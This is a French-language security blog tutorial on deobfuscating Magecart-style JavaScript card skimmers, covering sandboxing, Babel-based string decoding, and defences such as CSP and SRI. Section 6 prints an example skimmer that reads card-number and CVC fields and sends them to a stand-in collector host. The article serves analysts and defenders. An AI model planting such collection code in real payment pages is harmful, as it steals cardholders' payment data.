Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au blog
Ethical Hacking 2025-12-18 ⏱️ 13 min

Rétro-ingénierie d'un skimmer JavaScript : un workflow pratique de désobfuscation

Rétro-ingénierie d'un skimmer JavaScript : un workflow pratique de désobfuscation

Les skimmers web sont de petits programmes JavaScript injectés dans les pages de paiement pour voler les données de carte bancaire pendant la saisie. Ils appartiennent à la famille Magecart et possèdent une propriété utile au reverse engineer : ils doivent s'exécuter dans le navigateur, donc leur code est livré à la victime. L'obfuscation augmente le coût de l'analyse, mais elle ne peut pas cacher le comportement au debugger, aux logs réseau ou à un DOM instrumenté. Cet article présente un workflow reproductible pour passer d'un « blob illisible » à une « chaîne d'exfiltration documentée ».


1. Acquérir et préserver l'échantillon

Capturez le script exact chargé par la page. N'analysez pas une copie embellie sans conserver le hash original.

# Enregistrer le corps et les en-têtes de la réponse
curl -sS -D headers.txt -o skimmer.js 'https://shop.example.com/js/app.min.js?v=42'

# Enregistrer le hash comme preuve
sha256sum skimmer.js | tee skimmer.sha256

Si le script est chargé dynamiquement, utilisez le panneau Network ou un proxy pour capturer la réponse et notez la pile de l'initiateur. Elle révèle souvent quel script inline a injecté la balise, c'est-à-dire le vrai point d'entrée de la compromission.


2. Trier avant de désobfusquer

Lisez les premiers et derniers centaines d'octets. Les skimmers laissent souvent des artefacts reconnaissables :

  • De longs tableaux de chaînes hexadécimales ou base64.
  • Un grand switch ou une fonction dispatcher à cas numériques.
  • Des concaténations comme ['fe','tch'].join('') pour masquer fetch.
  • Des accès de propriété encodés : window['fe' + 'tch'].
  • Un atob, decodeURIComponent ou une routine RC4/XOR maison.
  • Des écouteurs sur input, change ou submit ciblant les champs de carte.
# Indicateurs statiques rapides
grep -oE 'atob|btoa|fromCharCode|decodeURIComponent|eval|Function\(' skimmer.js | sort | uniq -c
grep -oE 'https?://[^"'"'"' ]+' skimmer.js | sort -u

Si l'échantillon contient une URL lisible, vous avez déjà l'endpoint d'exfiltration. Sinon, le journal réseau d'un navigateur en bac à sable le fournira à l'exécution.


3. Le rendre exécutable en bac à sable

N'exécutez jamais un skimmer inconnu dans un profil de navigateur normal. Utilisez une VM jetable, un profil neuf et un proxy qui bloque la sortie sauf vers un récepteur contrôlé. Un environnement instrumenté minimal aide :

// sandbox.js — exécuter avec le module vm de Node dans un processus isolé
const vm = require('vm');
const fs = require('fs');
const code = fs.readFileSync('skimmer.js', 'utf8');

const sandbox = {
  window: {},
  document: {
    querySelector: () => null,
    addEventListener: (type, fn) => console.log('[listener]', type)
  },
  navigator: { userAgent: 'sandbox' },
  location: { href: 'https://shop.example.com/checkout' },
  fetch: (...args) => { console.log('[fetch]', args); return Promise.resolve(); },
  XMLHttpRequest: function () { console.log('[xhr] constructed'); },
  atob: (s) => Buffer.from(s, 'base64').toString('binary'),
  btoa: (s) => Buffer.from(s, 'binary').toString('base64'),
  console
};

vm.createContext(sandbox);
try {
  vm.runInContext(code, sandbox, { timeout: 5000 });
} catch (e) {
  console.error('[error]', e.message);
}

Le but n'est pas d'émuler un navigateur complet, mais d'observer quels globaux le script touche et quels appels réseau il tente. Un skimmer qui échoue en bac à sable peut tout de même révéler sa routine de décodage et ses sélecteurs cibles.


4. Vaincre la couche de chaînes

La plupart des obfuscateurs (javascript-obfuscator, obfuscator.io, packers commerciaux) commencent par un tableau de chaînes et un accesseur :

var _0x1a2b = ['\x66\x65\x74\x63\x68', '\x2f\x63\x6f\x6c\x6c\x65\x63\x74'];
function _0x3c4d(i) { return _0x1a2b[i - 0x0]; }

Deux approches fonctionnent bien :

  1. Évaluation dynamique. Exécutez uniquement le décodeur dans le bac à sable, puis appelez l'accesseur pour chaque index et affichez le résultat.
  2. Transformation AST. Analysez avec Babel, trouvez les appels à l'accesseur avec argument numérique, évaluez-les et remplacez l'appel par un littéral de chaîne.
// babel-decode.js — remplacer _0x3c4d(0x12) par sa chaîne décodée
const parser = require('@babel/parser');
const traverse = require('@babel/traverse').default;
const generate = require('@babel/generator').default;
const t = require('@babel/types');
const fs = require('fs');

const src = fs.readFileSync('skimmer.js', 'utf8');
const ast = parser.parse(src);

// Sur un vrai échantillon, extrayez et évaluez le décodeur dans une vm.
const decoded = { 0x12: '/collect', 0x13: 'fetch' };

traverse(ast, {
  CallExpression(path) {
    const callee = path.node.callee;
    const arg = path.node.arguments[0];
    if (t.isIdentifier(callee, { name: '_0x3c4d' }) && t.isNumericLiteral(arg)) {
      const value = decoded[arg.value];
      if (typeof value === 'string') path.replaceWith(t.stringLiteral(value));
    }
  }
});

fs.writeFileSync('skimmer.decoded.js', generate(ast).code);

Une fois la couche de chaînes supprimée, embellissez la sortie et suivez le flux de données : où les valeurs de carte sont lues, comment elles sont encodées et où elles sont envoyées.


5. Supprimer l'aplatissement du flux de contrôle

L'aplatissement remplace la logique séquentielle par un dispatcher :

var _0xorder = '3|1|0|2'.split('|');
while (true) {
  switch (_0xorder.shift()) {
    case '0': /* bloc A */ break;
    case '1': /* bloc B */ break;
    case '2': /* bloc C */ break;
    case '3': /* bloc D */ break;
  }
  if (!_0xorder.length) break;
}

Deux options pratiques :

  • Exécution symbolique. Utilisez webcrack ou un plugin Babel qui évalue le dispatcher quand le tableau d'ordre est constant, puis réordonne les blocs.
  • Traçage dynamique. Instrumentez le switch avec des logs, exécutez dans le bac à sable et enregistrez l'ordre des cas. Reconstruisez la séquence manuellement pour les petits échantillons.

Pour un skimmer, la désobfuscation complète est souvent inutile. Il faut le sink : la fonction qui envoie les données. Cherchez dans la sortie décodée fetch, XMLHttpRequest, sendBeacon, Image().src et WebSocket.


6. Identifier la logique de collecte

Les skimmers attachent généralement des écouteurs aux champs de paiement et lisent les valeurs au changement ou à la soumission :

document.querySelectorAll('input[name="cardnumber"], input[name="cvc"]').forEach(el => {
  el.addEventListener('change', () => {
    const payload = btoa(el.name + '=' + el.value);
    fetch('https://collector.example.net/c', { method: 'POST', body: payload, mode: 'no-cors' });
  });
});

Cartographiez chaque sélecteur, chaque événement et chaque étape d'encodage. Notez si le script exfiltre à la frappe (plus de données, plus de bruit) ou à la soumission (moins de bruit, valeurs complètes). Cherchez l'anti-debug : instructions debugger en boucle, détection de console ou contrôles de timing. Ce sont des obstacles d'analyse, pas des contrôles de sécurité.


7. Confirmer l'endpoint d'exfiltration

Une fois une URL candidate identifiée, n'envoyez pas de vraies données de carte. Utilisez des valeurs synthétiques et un récepteur contrôlé. Vérifiez la méthode, le type de contenu, l'encodage et si l'endpoint accepte des données de toute origine. Un skimmer poste souvent vers un site légitime compromis avant de relayer vers le backend de l'acteur ; le premier domaine peut donc sembler bénin.

# Inspecter le certificat TLS et l'hébergement sans envoyer de charge utile
curl -sS -D - -o /dev/null https://collector.example.net/c
openssl s_client -connect collector.example.net:443 -servername collector.example.net < /dev/null 2>/dev/null | openssl x509 -noout -subject -issuer -dates

8. Enseignements défensifs

  • Inventoriez les scripts tiers. Les exigences PCI DSS v4.0 6.4.3 et 11.6.1 traitent spécifiquement de la gestion des scripts de page de paiement et de la détection d'altération. Connaissez chaque script, son propriétaire et son hash d'intégrité.
  • Utilisez Subresource Integrity. Épinglez les scripts tiers avec SRI lorsque possible et servez-les depuis une origine contrôlée.
  • Content Security Policy. Restreignez script-src et connect-src pour qu'un skimmer injecté ne puisse pas joindre un collecteur arbitraire.
  • Surveillez le DOM. Alertez sur les nouveaux écouteurs input sur les champs de carte, les nouvelles iframes et les scripts ajoutés après le chargement.
  • Préservez les preuves. Conservez l'échantillon original, le hash, les en-têtes et le journal réseau. La désobfuscation est une aide analytique, pas un remplacement de l'artefact original.

9. Conclusion

L'obfuscation est un contrôle économique, pas une frontière de sécurité. Un skimmer doit s'exécuter dans le navigateur de la victime, donc il doit finir par révéler ses sélecteurs, son encodage et sa destination. Un workflow discipliné — préserver, trier, sandboxer, décoder les chaînes, aplatir le contrôle, identifier les sinks, confirmer l'endpoint — transforme un blob opaque en rapport d'incident exploitable. Le même workflow aide les défenseurs à vérifier que leur page de paiement n'a pas été modifiée et fournit aux intervenants les preuves nécessaires pour cadrer une compromission Magecart.

Besoin d'un audit de sécurité ?

Contactez Cayvora pour une consultation gratuite et protégez votre entreprise contre les cybermenaces.

✉️ Contact via Email

Articles connexes